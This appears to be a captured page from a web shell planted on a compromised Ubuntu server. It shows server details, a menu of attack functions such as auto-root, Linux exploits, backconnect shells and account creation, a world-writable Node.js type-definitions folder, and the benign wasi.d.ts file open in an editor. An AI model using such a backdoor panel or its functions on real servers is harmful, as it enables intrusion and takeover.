Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
@types /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
assert
[ DIR ]
dr-xr-xr-x
compatibility
[ DIR ]
dr-xr-xr-x
dns
[ DIR ]
dr-xr-xr-x
fs
[ DIR ]
dr-xr-xr-x
stream
[ DIR ]
dr-xr-xr-x
timers
[ DIR ]
dr-xr-xr-x
ts5.6
[ DIR ]
dr-xr-xr-x
LICENSE
1.11
KB
-rw-rw-rw-
README.md
2.18
KB
-rw-rw-rw-
assert.d.ts
39.85
KB
-rw-rw-rw-
async_hooks.d.ts
20.36
KB
-rw-rw-rw-
buffer.buffer.d.ts
17.23
KB
-rw-rw-rw-
buffer.d.ts
82.2
KB
-rw-rw-rw-
child_process.d.ts
67.25
KB
-rw-rw-rw-
cluster.d.ts
27.3
KB
-rw-rw-rw-
console.d.ts
20.76
KB
-rw-rw-rw-
constants.d.ts
623
B
-rw-rw-rw-
crypto.d.ts
177.9
KB
-rw-rw-rw-
dgram.d.ts
26.85
KB
-rw-rw-rw-
diagnostics_channel.d.ts
7.26
KB
-rw-rw-rw-
dns.d.ts
33.37
KB
-rw-rw-rw-
dom-events.d.ts
5.73
KB
-rw-rw-rw-
domain.d.ts
7.63
KB
-rw-rw-rw-
events.d.ts
31.22
KB
-rw-rw-rw-
fs.d.ts
172.06
KB
-rw-rw-rw-
globals.d.ts
8.56
KB
-rw-rw-rw-
globals.typedarray.d.ts
777
B
-rw-rw-rw-
http.d.ts
70.46
KB
-rw-rw-rw-
http2.d.ts
119.55
KB
-rw-rw-rw-
https.d.ts
23.85
KB
-rw-rw-rw-
index.d.ts
3.62
KB
-rw-rw-rw-
inspector.d.ts
122.38
KB
-rw-rw-rw-
module.d.ts
8.4
KB
-rw-rw-rw-
net.d.ts
37.8
KB
-rw-rw-rw-
os.d.ts
16.29
KB
-rw-rw-rw-
package.json
6.47
KB
-rw-rw-rw-
path.d.ts
7.54
KB
-rw-rw-rw-
perf_hooks.d.ts
27.66
KB
-rw-rw-rw-
process.d.ts
72.76
KB
-rw-rw-rw-
punycode.d.ts
5.35
KB
-rw-rw-rw-
querystring.d.ts
6.48
KB
-rw-rw-rw-
readline.d.ts
25.11
KB
-rw-rw-rw-
repl.d.ts
19.05
KB
-rw-rw-rw-
stream.d.ts
72.69
KB
-rw-rw-rw-
string_decoder.d.ts
2.8
KB
-rw-rw-rw-
test.d.ts
8.26
KB
-rw-rw-rw-
timers.d.ts
4.73
KB
-rw-rw-rw-
tls.d.ts
50.47
KB
-rw-rw-rw-
trace_events.d.ts
6.62
KB
-rw-rw-rw-
tty.d.ts
9.63
KB
-rw-rw-rw-
url.d.ts
36.69
KB
-rw-rw-rw-
util.d.ts
64.14
KB
-rw-rw-rw-
v8.d.ts
26.77
KB
-rw-rw-rw-
vm.d.ts
20.45
KB
-rw-rw-rw-
wasi.d.ts
6.95
KB
-rw-rw-rw-
worker_threads.d.ts
31.64
KB
-rw-rw-rw-
zlib.d.ts
19.05
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wasi.d.ts
/** * The WASI API provides an implementation of the [WebAssembly System Interface](https://wasi.dev/) specification. WASI gives sandboxed WebAssembly applications access to the * underlying operating system via a collection of POSIX-like functions. * * ```js * import { readFile } from 'node:fs/promises'; * import { WASI } from 'wasi'; * import { argv, env } from 'node:process'; * * const wasi = new WASI({ * args: argv, * env, * preopens: { * '/sandbox': '/some/real/path/that/wasm/can/access' * } * }); * * // Some WASI binaries require: * // const importObject = { wasi_unstable: wasi.wasiImport }; * const importObject = { wasi_snapshot_preview1: wasi.wasiImport }; * * const wasm = await WebAssembly.compile( * await readFile(new URL('./demo.wasm', import.meta.url)) * ); * const instance = await WebAssembly.instantiate(wasm, importObject); * * wasi.start(instance); * ``` * * To run the above example, create a new WebAssembly text format file named `demo.wat`: * * ```text * (module * ;; Import the required fd_write WASI function which will write the given io vectors to stdout * ;; The function signature for fd_write is: * ;; (File Descriptor, *iovs, iovs_len, nwritten) -> Returns number of bytes written * (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32))) * * (memory 1) * (export "memory" (memory 0)) * * ;; Write 'hello world\n' to memory at an offset of 8 bytes * ;; Note the trailing newline which is required for the text to appear * (data (i32.const 8) "hello world\n") * * (func $main (export "_start") * ;; Creating a new io vector within linear memory * (i32.store (i32.const 0) (i32.const 8)) ;; iov.iov_base - This is a pointer to the start of the 'hello world\n' string * (i32.store (i32.const 4) (i32.const 12)) ;; iov.iov_len - The length of the 'hello world\n' string * * (call $fd_write * (i32.const 1) ;; file_descriptor - 1 for stdout * (i32.const 0) ;; *iovs - The pointer to the iov array, which is stored at memory location 0 * (i32.const 1) ;; iovs_len - We're printing 1 string stored in an iov - so one. * (i32.const 20) ;; nwritten - A place in memory to store the number of bytes written * ) * drop ;; Discard the number of bytes written from the top of the stack * ) * ) * ``` * * Use [wabt](https://github.com/WebAssembly/wabt) to compile `.wat` to `.wasm` * * ```console * $ wat2wasm demo.wat * ``` * * The `--experimental-wasi-unstable-preview1` CLI argument is needed for this * example to run. * @experimental * @see [source](https://github.com/nodejs/node/blob/v16.20.2/lib/wasi.js) */ declare module "wasi" { interface WASIOptions { /** * An array of strings that the WebAssembly application will * see as command line arguments. The first argument is the virtual path to the * WASI command itself. * @default [] */ args?: string[] | undefined; /** * An object similar to `process.env` that the WebAssembly * application will see as its environment. * @default {} */ env?: object | undefined; /** * This object represents the WebAssembly application's * sandbox directory structure. The string keys of `preopens` are treated as * directories within the sandbox. The corresponding values in `preopens` are * the real paths to those directories on the host machine. */ preopens?: NodeJS.Dict<string> | undefined; /** * By default, WASI applications terminate the Node.js * process via the `__wasi_proc_exit()` function. Setting this option to `true` * causes `wasi.start()` to return the exit code rather than terminate the * process. * @default false */ returnOnExit?: boolean | undefined; /** * The file descriptor used as standard input in the WebAssembly application. * @default 0 */ stdin?: number | undefined; /** * The file descriptor used as standard output in the WebAssembly application. * @default 1 */ stdout?: number | undefined; /** * The file descriptor used as standard error in the WebAssembly application. * @default 2 */ stderr?: number | undefined; } /** * The `WASI` class provides the WASI system call API and additional convenience * methods for working with WASI-based applications. Each `WASI` instance * represents a distinct sandbox environment. For security purposes, each `WASI` instance must have its command-line arguments, environment variables, and * sandbox directory structure configured explicitly. * @since v13.3.0, v12.16.0 */ class WASI { constructor(options?: WASIOptions); /** * Attempt to begin execution of `instance` as a WASI command by invoking its `_start()` export. If `instance` does not contain a `_start()` export, or if `instance` contains an `_initialize()` * export, then an exception is thrown. * * `start()` requires that `instance` exports a [`WebAssembly.Memory`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) named `memory`. If * `instance` does not have a `memory` export an exception is thrown. * * If `start()` is called more than once, an exception is thrown. * @since v13.3.0, v12.16.0 */ start(instance: object): number; // TODO: avoid DOM dependency until WASM moved to own lib. /** * Attempt to initialize `instance` as a WASI reactor by invoking its `_initialize()` export, if it is present. If `instance` contains a `_start()` export, then an exception is thrown. * * `initialize()` requires that `instance` exports a [`WebAssembly.Memory`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) named `memory`. * If `instance` does not have a `memory` export an exception is thrown. * * If `initialize()` is called more than once, an exception is thrown. * @since v14.6.0, v12.19.0 */ initialize(instance: object): void; // TODO: avoid DOM dependency until WASM moved to own lib. /** * `wasiImport` is an object that implements the WASI system call API. This object * should be passed as the `wasi_snapshot_preview1` import during the instantiation * of a [`WebAssembly.Instance`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance). * @since v13.3.0, v12.16.0 */ readonly wasiImport: NodeJS.Dict<any>; // TODO: Narrow to DOM types } } declare module "node:wasi" { export * from "wasi"; }
Close